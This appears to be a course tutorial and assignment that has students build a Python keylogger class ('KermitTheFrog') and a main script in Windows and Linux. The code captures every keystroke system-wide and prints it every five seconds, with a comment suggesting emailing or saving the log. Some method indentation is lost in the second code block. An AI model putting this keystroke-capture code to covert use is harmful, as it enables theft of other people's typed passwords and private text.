

Part 5: Python Keylogger

Contents

Part 5: Python Keylogger	1
Key Logger 5 Class	1
Key Logger 5 Main.....	3
Assignment Submission.....	4

Time required: 15 minutes

NOTE: Please program this series of tutorials in Windows and Linux.

Key Logger 5 Class

We are going to convert our function drive program into an Object-Oriented Program.

1. Save **frog_4.py** as **frog_5.py**
2. Change the key logger to the following OOP code.

```

1  #!/usr/bin/env python3
2  """
3      Name: frog_5.py
4      Author:
5      Created:
6      Purpose: Refactor to OOP separate class file
7  """
8  import os
9  # Windows: pip install keyboard
10 # Linux: sudo pip3.11 install keyboard
11 import keyboard
12 from threading import Timer
13
14
15 class KermitTheFrog:
16     def __init__(self):
17         print("Kermit the Frog Started . . . ribbit ribbit ribbit")
18         # Log for frog events
19         self.log = ""
20
21 # ----- PROCESS KEY RELEASE -----#
22     def process_key(self, event):
23         """Callback function whenever a key is released"""
24         # Convert each key release to a string
25         name = event.name
26         # If the length of the string is more than 1, it is a special key
27         if len(name) > 1:
28             # The key captured is not a regular character
29             # It is a special key (e.g ctrl, alt, etc.)
30             # Store the space instead of Keycode.space
31             if name == "space":
32                 name = " "
33             # Press the Esc key to exit the program
34             elif name == "esc":
35                 print("Exiting Kermit the Frog")
36                 os._exit(0)
37             # Any other special keys, disregard
38             else:
39                 name = ""
40         # Append each keystroke to the log
41         self.log = self.log + name

```

```

43 # ----- REPORT LOG -----#
44 def report(self):
45     # Send log by email, or save to file
46     # Print log to console for testing
47     print(self.log)
48     # Clear the report log
49     self.log = ""
50     # Create threaded timer object
51     # A function that calls itself is a recursive function
52     # Timer is set to 5 seconds for testing
53     # The log will be printed to the console every 5 seconds
54     self.timer = Timer(5, self.report)
55     # A daemon thread quits when the program exits
56     self.timer.daemon = True
57     # Start the timer
58     self.timer.start()
59     print("Timer started")
60
61 # ----- START KEYLOGGER -----#
62 def start(self):
63     # Create a keyboard listener object
64     # which will listen for a keyboard on_release event
65     # When a key is released,
66     # that key is passed to the process_key method
67     keyboard.on_release(callback=self.process_key)
68     # Start the report method with the threaded timer
69     self.report()
70     # The main program thread waits for a key release
71     keyboard.wait()

```

Key Logger 5 Main

1. Create a new Python file named: **frog_5_main.py**

```
1  #!/usr/bin/env python3
2  """
3      Name: frog_5_main.py
4      Author:
5      Created:
6      Purpose: Main program uses KermitTheFrog class file
7  """
8
9  # Import the Kermit class
10 from frog_5 import KermitTheFrog
11
12 # Create and start the Kermit object
13 kermit_the_frog = KermitTheFrog()
14
15 # Call the start() method
16 kermit_the_frog.start()
```

Both files must be in the same folder. Run the **frog_5_main.py** program in both operating systems. You can type anywhere on your computer. Each keystroke will be logged.

Example run in Windows:

```
this is a test of the
login function which runs ev
ery five seconds
```

Assignment Submission

1. Attach all program files.
2. Attach a screenshot from Windows and Linux of your results.
3. Submit the assignment in BlackBoard.